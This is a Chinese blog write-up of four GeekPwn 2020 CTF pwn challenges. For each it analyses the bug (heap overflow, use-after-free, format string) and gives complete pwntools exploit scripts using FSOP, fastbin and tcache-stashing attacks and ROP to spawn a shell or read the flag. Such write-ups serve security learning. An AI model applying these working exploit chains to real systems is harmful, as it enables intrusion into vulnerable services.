LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

GeekPwn 2020 云靶场挑战赛热身赛 WP

真难顶

题目链接

BabyPwn

分析

首先我们看一下程序,程序提供了三种操作add, throw_out,show,操作的结构是memberdescribe是依据用户输入的大小所分配的堆空间,但是输入的大小最大是0x40,即堆块最大为0x50

image-20200713142310545

漏洞函数位于add中读取字符串的函数

image-20200713142706711

注意到length的类型为int,因此存在堆溢出漏洞。

利用

有两种利用的方式

方式1

整体思路为通过unsorted bin泄露libc地址,FSOP进行getshell

  • 释放两个相同大小的chunk,申请chunk的时候将size设置为1,这样就不会读取内容,从而泄露出堆地址
  • 通过堆溢出伪造chunk,大小为连续申请的几个chunk和,使其释放时进入unsorted bin中,从而获取libc基址
  • 堆溢出覆写unsorted binfd,bk指针,伪造IO_FILE,采用FSOP进行getshell

首先泄露heap的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add_member("12112", 0x10, "0")
add_member("12112", 0x10, "1")

# unsorted bin pre
add_member("12112", 0x40, "2")
add_member("12112", 0x40, "3")
add_member("12112", 0x40, "4")

# padding, prevent merge with top chunk
add_member("12112", 0x40, "5")

throw_out(1)
throw_out(0)

add_member("1212", 0x1, "a") #0
show_member(0)
p.recvuntil("Description:")
heap_address = u64(p.recvline().strip("\n").ljust(8, "\x00"))
print "heap address", hex(heap_address)

释放完第1,0chunk的时候,堆的地址就写到了index=0的堆块中,此时打印第0块就可以得到heap address

1
2
3
4
5
6
7
add_member("1212", 0x0, p64(0)*3 + p64(0xf1)) # 1
throw_out(2)
add_member("1212", 0x40, "12")
show_member(3)
p.recvuntil("Description:")
libc.address = u64(p.recvline().strip().ljust(8, "\x00")) - 88 - 0x10 - libc.symbols['__malloc_hook']
print "libc address", hex(libc.address)

接着是伪造unsorted bin chunk。我们将chunk的大小设置为0xf1即连续申请的三个0x40的堆块的大小之和,此时不用伪造上下两个chunk。释放之后重新申请一个大小为0x50的堆块,index=3member恰好就指向了main_arena+88的存储位置,获得lib address

1
2
3
4
5
6
7
8
9
10
11
12
13
throw_out(1)
vtable = p64(0)*3 + p64(libc.symbols['system'])
vtable_address = heap_address + 0x20 + 0x50 + 0xe0
payload = p64(0)*3 + p64(0x51) + p64(0)*8
payload += "/bin/sh\x00" + p64(0x61) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10) + p64(2) + p64(3)
payload += p64(0)*21 + p64(vtable_address)
payload += vtable
add_member("1212", 0x0, payload)

p.sendlineafter("your choice:", "1")
p.sendlineafter("name:", name)
p.sendlineafter("size:", str(1))
p.interactive()

FSOP的利用可以参考pwnable.tw的bookwrite。这里简单介绍一下就是,由于我们修改了unsorted binbk指针,导致程序认为unsorted bin的堆块大于1个,此时若申请的大小与unsorted bin大小不同,就会将当前处理的unsorted bin的堆块放入small bin中。并进行类似于unlink的操作bck->fd = unsorted_chunks (av);,就会在我们制定的位置+0x10字节处写入main_arena+88的地址。如果我们将bk指针写为_IO_list_all-0x10的地址,就能覆写IO_list_all指针为main_arena+88

image-20200713164327098

由于我们改写的bk指针不合法,因此会打印错误信息,此时会对每个FILE结构体进行fflush操作,调用_IO_overflow函数。FILE结构体的依次处理主要依靠的是_chain指针,当我们将IO_list_all指针为main_arena+88,其_chain成员变量位于main_arena+184位置即smallbin[5]chunk大小为0x61。如果我们将unsorted bin的大小设置为0x61,那么_chain将指向我们可控的堆块(unsorted bin)。

image-20200713165048255

在堆块中伪造IO_FILEvtable,将IO_overflow指针伪造为system地址,将IO_FILE头部写入/bin/sh\x00即可以调用system('/bin/sh')

image-20200713165120403

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# encoding=utf-8
from pwn import *
context.log_level = "debug"
elf = ELF("./pwn")
debug = 1
if debug:
p = process(['./pwn'])
gdb.attach(p, "b *0x555555555090\n")
libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('127.0.0.1', 10005)
libc = ELF('./libc.so')
one_gadget = 0x0


def add_member(name, des_size, des):
p.sendlineafter("your choice:", "1")
p.sendlineafter("name:", name)
p.sendlineafter("size:", str(des_size))
p.sendlineafter("Description:", des)


def show_member(index):
p.sendlineafter("your choice:", "3")
p.sendlineafter("index:", str(index))


def throw_out(index):
p.sendlineafter("your choice:", "2")
p.sendlineafter("index:", str(index))


def member_exit():
p.sendlineafter("your choice:", "4")


add_member("12112", 0x10, "0")
add_member("12112", 0x10, "1")

# unsorted bin pre
add_member("12112", 0x40, "2")
add_member("12112", 0x40, "3")
add_member("12112", 0x40, "4")

# padding, prevent merge with top chunk
add_member("12112", 0x40, "5")

throw_out(1)
throw_out(0)

add_member("1212", 0x1, "a") #0
show_member(0)
p.recvuntil("Description:")
heap_address = u64(p.recvline().strip("\n").ljust(8, "\x00"))
print "heap address", hex(heap_address)

add_member("1212", 0x0, p64(0)*3 + p64(0xf1)) # 1
throw_out(2)
add_member("1212", 0x40, "12")
show_member(3)
p.recvuntil("Description:")
libc.address = u64(p.recvline().strip().ljust(8, "\x00")) - 88 - 0x10 - libc.symbols['__malloc_hook']
print "libc address", hex(libc.address)

throw_out(1)
vtable = p64(0)*3 + p64(libc.symbols['system'])
vtable_address = heap_address + 0x20 + 0x50 + 0xe0
payload = p64(0)*3 + p64(0x51) + p64(0)*8
payload += "/bin/sh\x00" + p64(0x61) + p64(0) + p64(libc.symbols['_IO_list_all'] - 0x10) + p64(2) + p64(3)
payload += p64(0)*21 + p64(vtable_address)
payload += vtable
add_member("1212", 0x0, payload)

p.sendlineafter("your choice:", "1")
p.sendlineafter("name:", name)
p.sendlineafter("size:", str(1))
p.interactive()

方式2

这种方法在这个比赛中不能使用

  • 伪造unsorted bin泄露libc基址,通方式1相同,在伪造unsorted bin的时候会构造出堆重叠

  • double free进行fastbin attack。但是这里最大分配的chunk0x50。由于程序开启了随机化,因此堆地址的开始为0x550x56,因此我们转换一下,将chunk分配在main_arena+37位置处(main_arena+40处存储fastbin[4]起始,即大小为0x60的堆块的地址)。参考HSCTF2019 heard_heap

    这里需要注意的是由于我们需要覆写之后的top chunk地址,而且有0x40大小可写区域的限制,因此只能选择main_arena+40处进行分配,因此我们需要再次释放一个大小为0x60的堆块。

    image-20200713214315359

    在分配之后我们需要绕过一些检查

    1
    2
    3
    >   assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    > ar_ptr == arena_for_chunk (mem2chunk (victim)));
    >

    因此我们需要等待堆地址为0x56起始时才可以成功分配

  • 分配完成之后,覆写之后位于main_arena+88处的top chunk地址。将top chunk地址覆写为malloc_hook-0x23处的地址,这样就可以分配到malloc_hook的堆块了。覆写one_gadget

    在one_gadget都无法使用的时候可以考虑将malloc_hook的地址填写为realloc+n的地址,进行平衡栈帧,构造one_gadget生效的条件,realloc_hook位置(main_arena-0x18)填写gadget地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# encoding=utf-8
from pwn import *

context.log_level = "debug"
elf = ELF("./pwn")
debug = 1
if debug:
p = process(['./pwn'])
gdb.attach(p, "b *0x555555555090\n")
libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0xcb7e5

else:
p = remote('', 0)
libc = ELF('./libc.so')
one_gadget = 0x0


def add_member(name, des_size, des):
p.sendlineafter("your choice:", "1")
p.sendlineafter("name:", name)
p.sendlineafter("size:", str(des_size))
p.sendlineafter("Description:", des)


def show_member(index):
p.sendlineafter("your choice:", "3")
p.sendlineafter("index:", str(index))


def throw_out(index):
p.sendlineafter("your choice:", "2")
p.sendlineafter("index:", str(index))


def member_exit():
p.sendlineafter("your choice:", "4")

def exp():
add_member("12112", 0x10, "0")
add_member("12112", 0x10, "1")

add_member("12112", 0x40, "2")
add_member("12112", 0x40, "3")

add_member("12112", 0x40, "4")

throw_out(1)

add_member("12112", 0x0, p64(0)*3 + p64(0xa1)) # 1

throw_out(2)

add_member("12112", 0x40, "a"*0x8) # 2
show_member(3)
p.recvuntil("Description:")
# address = p.readline().strip().ljust(8,"\x00")
libc.address = u64(p.readline().strip("\n").ljust(8,"\x00")) - 88 - 0x10 - libc.symbols['__malloc_hook']
# print "libc address", address
malloc_hook_address = libc.symbols['__malloc_hook']
main_arean_address = malloc_hook_address + 0x10


print "libc address", hex(libc.address)
add_member("1212", 0x40, "1") # 1
throw_out(1)
add_member("12112", 0x0, p64(0)*3 + p64(0x61) + p64(0)*8 + p64(0) + p64(0x51) + p64(0) + p64(41)) # 1
throw_out(2) #0x60
# double free
throw_out(3)
throw_out(4)
throw_out(5)

# maybe 0x56
fake_chunk_address = main_arean_address - 0x13 + 0x38
add_member("12112", 0x40, p64(fake_chunk_address)) # 2
add_member("12112", 0x40, "4"*0x8) # 3
add_member("12112", 0x40, p64(fake_chunk_address)) # 4
add_member("12112", 0x40, "8"*3 + p64(0)*4 + p64(malloc_hook_address - 0x23)) # 5
throw_out(0)
add_member("1212", 0x40, "a"*3 + p64(0)*2 + p64(one_gadget + libc.address)) # 0
#add_member("1212", 0x40, "a"*3 + p64(0) +p64(one_gadget + libc.address) + p64(libc.sym['realloc'])) # 0


while True:
try:
exp()
break
except:
p.close()
p = process(['./pwn'])

# exp()
throw_out(2)
throw_out(4)
'''
p.sendlineafter("your choice:", "1")
p.sendlineafter("name:", "2")
p.sendlineafter("size:", str(0x20))
'''
p.interactive()

Paperprinter

分析

首先我们看一下程序,该题目与*ctf heap_master有些类似,都是先mmap一块0x1000大小的内存,然后可以对该内存区域进行编辑和释放add,delete。在该题目中共存在两次malloc,一次是print中的malloc(0x138),另一次是exit中的strdup。这与heap_master中的任意malloc不同。

程序在一开始给输出了sleep的一个地址,根据此地址我们可以推算出libc address的后5个值,倒数第六个地址只能靠碰撞了(因为_IO_list_all的偏移地址为6位数)。

这样我们就相当于得到了libc的地址。而目前我们可以任意释放内存。通过unsorted bin attack覆盖_IO_list_all地址为main_arean+88,之后释放大小为0x60大小的堆块,使得_chain指向该堆块。在0x60大小的堆块中布局fake_FILE结构体。vtable的地址可以通过堆块的bk指针来进行伪造。

利用

  • 根据输出的sleep的部分地址推算出libc地址的后6位。

  • mmap的内存地址改写为0x90(chunk1)-0x30-0x90(chunk2)-0x30-0x90(chunk3)-0x30-0x140(chunk4)-0x30-0x30的堆内存布局

  • 依次释放chunk2,chunk3,chunk4,此时形成的unsorted bin链表如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    0x602ab0c0:	0x0000000000000000	0x0000000000000091 << chunk2 freed
    0x602ab0d0: 0x00007ffff7dd5b78 0x00000000602ab180 << chunk2_bk = chunk3
    ...
    0x602ab150: 0x0000000000000090 0x0000000000000030 << padding chunk
    0x602ab160: 0x0000000000000000 0x0000000000000000
    0x602ab170: 0x0000000000000000 0x0000000000000000
    0x602ab180: 0x0000000000000000 0x0000000000000091 << chunk3 freed
    0x602ab190: 0x00000000602ab0c0 0x00000000602ab240 << chunk3_bk = chunk4
    ...
    0x602ab210: 0x0000000000000090 0x0000000000000030 << padding chunk
    0x602ab220: 0x0000000000000000 0x0000000000000000
    0x602ab230: 0x0000000000000000 0x0000000000000000
    0x602ab240: 0x0000000000000000 0x0000000000000141 << chunk4 freed
    0x602ab250: 0x00000000602ab180 0x00007ffff7dd5b78 << main_arena+88
    ...
    0x602ab380: 0x0000000000000140 0x0000000000000030 << padding chunk
    0x602ab390: 0x0000000000000000 0x0000000000000000
    0x602ab3a0: 0x0000000000000000 0x0000000000000000
    0x602ab3b0: 0x0000000000000000 0x0000000000000031
  • 为了之后能够调用strdup,这里我们需要malloc(0x138)即申请0x140大小的堆块,此时chunk4被申请。而chunk2,chunk3被移入small bin数组中。chunk2fd指针和chunk3bk指针指向main_arean+216small_bin[7]的位置。

  • 覆写chunk3bk指针的后3个字节为system地址,那么chunk3即为伪造的vtable。而chunk2bk指针指向chunk3,即mmap_address+0xd8的位置指向vtable。我们即在chunk1中伪造IO_FILE

  • chunk1构造为如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    0x602ab000:	0x0068732f6e69622f	0x0000000000000061 << smallbin[0x60]
    0x602ab010: 0x0000000000000000 0x00007ffff7dd6510 << IO_list_all-0x10
    0x602ab020: 0x0000000000000002 0x0000000000000003
    0x602ab030: 0x0000000000000000 0x0000000000000000
    0x602ab040: 0x0000000000000000 0x0000000000000000
    0x602ab050: 0x0000000000000000 0x0000000000000000
    0x602ab060: 0x0000000000000000 0x0000000000000000
    0x602ab070: 0x0000000000000000 0x0000000000000000
    0x602ab080: 0x0000000000000000 0x0000000000000000
    0x602ab090: 0x0000000000000090 0x0000000000000030

    在调用strdup函数的时候会将chunk1放入到small bin数组中。发生unsorted bin attack_IO_list_all被改写为main_arena+88的地址。

    _chain对应的main_arena+184的位置即为smallbin[4]=0x60的位置,而此时chunk1被放入smallbin[4]中,即_chain指向了chunk1。后malloc由于我们改写的bk指针而出错,即刷新所有的FILE结构体。从而调用vtable-_IO_overflowsystem

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# encoding=utf-8
from pwn import *

context.log_level = "debug"
elf = ELF("./pwn")
debug = 1
if debug:
p = process(['./pwn'])
gdb.attach(p, "b *0x555555554E84\n")
libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def edit(offset, content):
p.sendlineafter("choice:", "1")
p.sendlineafter("offset :", str(offset))
p.sendlineafter("length :", str(len(content)))
p.sendafter("content :", content)


def delete(offset):
p.sendlineafter("choice:", "2")
p.sendlineafter("offset :", str(offset))


def printpaper():
p.sendlineafter("choice:", "3")


def exitpaper():
p.sendlineafter("choice:", "4")


def exp():

p.recvuntil("0x")
libc_base = int(p.recvline().strip("\n"), 16)
libc_base -= (libc.sym['sleep'] >> 8)
libc_base = (libc_base<<8)+0xa00000
system_address = libc_base + libc.sym['system']
io_list_all_address = libc_base + libc.sym['_IO_list_all']
print "libc base address", hex(libc_base)
print "system address", hex(system_address)
print "io_list_all address", hex(io_list_all_address)

offset = 0
edit(offset, p64(0)+p64(0x91)) # chunk 1, _IO_FILE
edit(offset+0x90, p64(0)+p64(0x31)) #padding
edit(offset+0x90+0x30,p64(0) + p64(0x91))# chunk 2
edit(offset+0x90+0x30+0x90, p64(0)+p64(0x31)) # padding
edit(offset+0x90+0x30+0x90+0x30, p64(0)+p64(0x91)) # chunk 3
edit(offset+0x90+0x30+0x90+0x30+0x90, p64(0)+p64(0x31)) # padding
edit(offset+0x90+0x30+0x90+0x30+0x90+0x30, p64(0)+p64(0x141)) # chunk4
edit(offset+0x90+0x30+0x90+0x30+0x90+0x30+0x140, p64(0)+p64(0x31)) # padding
edit(offset+0x90+0x30+0x90+0x30+0x90+0x30+0x140+0x30, p64(0)+p64(0x31)) # padding

delete(offset+0x90+0x30+0x10) #delete chunk2
delete(offset+0x90+0x30+0x90+0x30+0x10)#delete chunk3, chunk2_bk(+0xd8)=chunk3
delete(offset+0x90+0x30+0x90+0x30+0x90+0x30+0x10)#delete chunk 4

printpaper() # malloc(0x138), chunk 4 malloced, chunk3_bk = main_arena near,(small bin 0x90)

edit(offset+0x90+0x30+0x90+0x30+0x18, p64(system_address)[:3])
edit(offset+0x90+0x30+0x90+0x30, p64(0)*3)

delete(offset+0x10)
edit(offset+0x20, p64(2)+p64(3))
edit(offset+0x18, p64(io_list_all_address-0x10)[:3])
edit(offset, "/bin/sh\x00"+p64(0x61)+p64(0))
exitpaper()

while True:
try:
exp()
p.interactive()
p.close()
except:
p.close()
if debug:
p = process(['./pwn'])
gdb.attach(p, "b *0x555555554E84\n")
libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0

Easyshell

分析

首先我们运行一下程序,程序采用静态编译,实现了一个返回用户输入的功能。这里存在格式化字符串漏洞。

图片无法显示,请联系作者

由于函数是静态编译的,因此在函数执行_exit调用__run_exit_handlers函数,遍历fini.array数组的时候,rbp会被改写为__exit_funcs的地址。

图片无法显示,请联系作者

我们可以利用格式化字符串漏洞,改写fini.array数组为[init, main(leave,ret)]的指令,那么在程序退出的时候回首先执行fini.array[2],此时已经发生了栈迁移,我们即可进行ROP

这里需要注意的是每次gets只能读取0xc0大小的空间。因此我们需要两次重新读取数据。而且会遇到\n截断,pop rdi需要用另一个gadget

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# encoding=utf-8
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./pwn")
debug = 1
if debug:
p = process(['./pwn'])
gdb.attach(p, "b *0x400dde\n")

else:
p = remote('', 0)

rbp = 0x6ed0c0
fini_array_address = 0x00000000006d6828
init_address = 0x40aba0
main_leave_ret = 0x400dfc
p_rdi_r = 0x401f0a
p_rdi_rbp_r = 0x40b74a
p_rsi_r = 0x4014a4
p_rdx_rsi_r = 0x44c499
p_rcx_r = 0x42142b
p_rax_rdx_rbx_r = 0x482286
gets_address = 0x400DC0
syscall = 0x471115

payload = "%{}c%23$hn".format(str(init_address & 0xffff))
payload += "%{}c%24$hn".format(str(0xffff & ((main_leave_ret & 0xffff) - (init_address & 0xffff))))
payload += "%{}c%25$hn".format(str(0xffff & ((p_rdi_r & 0xffff) - (main_leave_ret & 0xffff))))
payload += "%{}c%26$hn".format(str(0xffff & (((p_rdi_r >> 16) & 0xffff) - (p_rdi_r & 0xffff))))
payload += "%{}c%27$hn".format(str(0xffff & (((rbp + 0x10) & 0xffff) - ((p_rdi_r >> 16) & 0xffff))))
payload += "%{}c%28$hn".format(str(0xffff & ((((rbp + 0x10) >> 16) & 0xffff) - ((rbp + 0x10) & 0xffff))))
payload += "%{}c%29$hn".format(str(0xffff & ((gets_address & 0xffff) - ((rbp + 0x10) >> 16) & 0xffff)))
payload += "%{}c%30$hn".format(str(0xffff & (((gets_address >> 16) & 0xffff) - (gets_address & 0xffff))))

payload = payload.ljust(0x70, "a")
payload += 'b'*8

payload += p64(fini_array_address) + p64(fini_array_address + 8)
payload += p64(rbp+8) + p64(rbp+8+2) + p64(rbp+0x10) + p64(rbp + 0x10 + 2) + p64(rbp + 0x18) + p64(rbp + 0x18 + 2)

p.recvuntil("echo back.\n")
p.sendline(payload)

flag_address = rbp + 0x10
flag_read_address = 0x6ef910
rop2_rbp = 0x6ed178

or_rop = flat([
p_rdi_rbp_r, flag_address, 0,
p_rsi_r, 0x0,
p_rax_rdx_rbx_r, 2, 0, 0,
syscall, # open("./flag\x00", "r")
p_rdi_rbp_r, 0, 0,
p_rsi_r, rop2_rbp,
p_rax_rdx_rbx_r, 0, 0x100, 0,
syscall # read(0, rop2_rbp, 0x100)
])
p.recvuntil("b"*8)
p.sendline("./flag\x00\x00" + or_rop)

rw_rop = flat([
p_rdi_rbp_r, 3, 0,
p_rsi_r, flag_read_address,
p_rax_rdx_rbx_r, 0, 0x100, 0,
syscall, # read(3, 0x6ef910, 0x100)
p_rdi_rbp_r, 1, 0,
p_rsi_r, flag_read_address,
p_rax_rdx_rbx_r, 1, 0x100, 0,
syscall # write(1, 0x6ef910, 0x100)
])
p.sendline(rw_rop)
p.interactive()

Playthenew

分析

首先看一下程序,保护全开,libc版本是2.30

程序首先在0x100000地址处mmap了一块大小为0x1000的内存。

图片无法显示,请联系作者

程序提供了6中操作。(plt表错误,可以用cutter识别)

图片无法显示,请联系作者

buy函数中使用calloc分配限定大小范围内的堆块。分配次数无限制但是只能存储5个堆块指针,保存在全局变量中0x5080中。throw函数释放堆块,但是没有将堆块指针置为空,存在UAFshow_dance则是输出函数。change改变堆块中存储的内容。若0x10000存储的内容不为0x42,则input_secret用来向0x100008地址处写入用户输入的数据,而call_global则调用0x100010处保存的函数指针,以0x100018处为参数。

由于libc版本为2.30存在tcache,而calloc分配是不经过tcache的,因此无法直接对tcache进行攻击。这里是用到的是tcache small bin attack(tcache stashing unlink attack)。即当请求的大小位于small bin范围中时,若相应大小的tcache未满,则将剩余的small bin放入到tcache中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;

if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;

tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

tcache堆块的放入操作从small bin链表的尾部开始。因此如果我们修改了small bin表头指向的堆块的bk指针,就可以向*(bk+0x10)的地址处写入一个main_arean附近的地址。

这里我们可以将tcache提前填充到6,这样放入一块堆块之后就不会再放入了,也就解决了地址错误的导致的崩溃问题。

利用

  • 首先将大小为0x160tcache填满,大小为0xa0tcache剩余一个位置。

  • 此时申请0x160大小的堆块,再次释放则会进入small bin。由于我们需要两个small bin堆块。因此执行下列操作

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    buy(0, 0x150, "0")
    buy(1, 0x150, "0")
    buy(2, 0x150, "0")
    buy(3, 0x150, "0")

    throw_bas(0) #释放堆块进入unsorted bin大小为0x160
    show(0) # 泄露libc地址
    p.recvuntil("the dance:")
    libc.address = u64(p.recvline().strip(b'\n').ljust(8, b'\x00')) - 96 - (libc.sym['__malloc_hook'] + 0x10)
    log.success("libc address: {}".format(hex(libc.address)))
    buy(1, 0xb0, "0") # 0x160大小的堆块被分割,unsorted bin中剩余0xa0大小的堆块

    throw_bas(2) # 释放0x160大小的堆块,fd指针指向0xa0大小的堆块,可以泄露堆地址
    show(2)
    p.recvuntil("the dance:")
    heap_address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
    log.success("heap address: {}".format(hex(heap_address)))

    buy(1, 0xb0, "0") #0x160大小的堆块被分割,unsorted bin中剩余0xa0大小的堆块,另一个0xa0大小的堆块进入small bin
    buy(1, 0xb0, "0") # unsorted bin中大小为0xa0的堆块(高地址,链表头部)进入small bin
    # 修改位于链表头部的0xa0堆块的bk指针,指向0x100000-0x10的位置
    change(2, p64(0)*int(0xb0/0x8) + p64(0) + p64(0xa1) + p64(heap_address) + p64(0x100000-0x10))
    buy(1, 0x90, "0")# 链表尾部的0xa0大小的堆块被申请,链表头部的0xa0堆块放入tcache,0x100000被写入main_arean+240的地址

    这样我们就将可以调用input_secretcall_global函数实现任意代码执行了。

  • 这里采用的是调用puts函数利用environ变量泄露栈地址,修改puts执行完毕之后的返回地址,利用gadget调用mprotect函数关闭0x100000地址的不可执行保护,劫持函数栈到0x100000实现orw的调用。

    也可以使用mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];此类的通过rdi 控制rbp,并实现call调用的gadget。将call调用设置为leave,ret实现栈迁移,调用orw,gadget链。

EXP

python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# encoding=utf-8
from pwn import *

file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
gdb.attach(p, "b *0x55555555591D\n")
libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6')
one_gadget = 0x0

else:
p = remote('', 0)
libc = ELF('')
one_gadget = 0x0


def buy(index, size, content):
p.sendlineafter("> ", "1")
p.sendlineafter("index:", str(index))
p.sendlineafter("size of basketball:", str(size))
p.sendafter("name:", content)


def throw_bas(index):
p.sendlineafter("> ", "2")
p.sendlineafter("idx of basketball:", str(index))


def show(index):
p.sendlineafter("> ", "3")
p.sendlineafter("idx of basketball:", str(index))


def change(index, content):
p.sendlineafter("> ", "4")
p.sendlineafter("idx of basketball:", str(index))
p.sendafter("dance of the basketball:", content)


def input_secret(secret):
p.sendlineafter("> ", "5")
p.sendafter("Input the secret place:", secret)


def call_global():
p.sendlineafter("> ", str(0x666))


for i in range(6):
buy(0, 0x90, "0")
throw_bas(0)

for i in range(7):
buy(0, 0x150, "0")
throw_bas(0)

log.success("filled tcache")
buy(0, 0x150, "0")
buy(1, 0x150, "0")
buy(2, 0x150, "0")
buy(3, 0x150, "0")

throw_bas(0) # unsorted 0x150
show(0)
p.recvuntil("the dance:")
libc.address = u64(p.recvline().strip(b'\n').ljust(8, b'\x00')) - 96 - (libc.sym['__malloc_hook'] + 0x10)
log.success("libc address: {}".format(hex(libc.address)))
buy(1, 0xb0, "0") # unsorted 0xa0

throw_bas(2) # to unsorted bin 0x160<->0xa0
show(2)
p.recvuntil("the dance:")
heap_address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00"))
log.success("heap address: {}".format(hex(heap_address)))

buy(1, 0xb0, "0") # unsorted 0xa0, smallbin 0xa0
buy(1, 0xb0, "0")
change(2, p64(0)*int(0xb0/0x8) + p64(0) + p64(0xa1) + p64(heap_address) + p64(0x100000-0x10))
buy(1, 0x90, "0")


input_secret(p64(0) + p64(libc.sym['puts']) + p64(libc.sym['environ']))
call_global()
stack_address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - (0x7fffffffdf38 - 0x7fffffffde28)
log.success("stack address: {}".format(hex(stack_address)))

orw = shellcraft.open("./flag")
orw += shellcraft.read("rax", "rsp", 0x100)
orw += shellcraft.write(1, "rsp", 0x100)
payload1 = p64(0) + p64(libc.sym['gets']) + p64(stack_address) + p64(0x100000 + 0x28) + asm(orw)
input_secret(payload1)
call_global()

p_rdx_r12_r = libc.address + 0xf7fb1
p_rdi_r = libc.address + 0x267e2
p_rsi_r = libc.address + 0x26d07
p_rsp_r = libc.address + 0x26f8b
mprotect_address = libc.sym['mprotect']

payload2 = flat([
p_rdi_r, 0x100000,
p_rsi_r, 0x1000,
p_rdx_r12_r, 7, 0,
mprotect_address,
p_rsp_r, 0x100000+0x20
])
raw_input()
p.sendline(payload2)
p.interactive()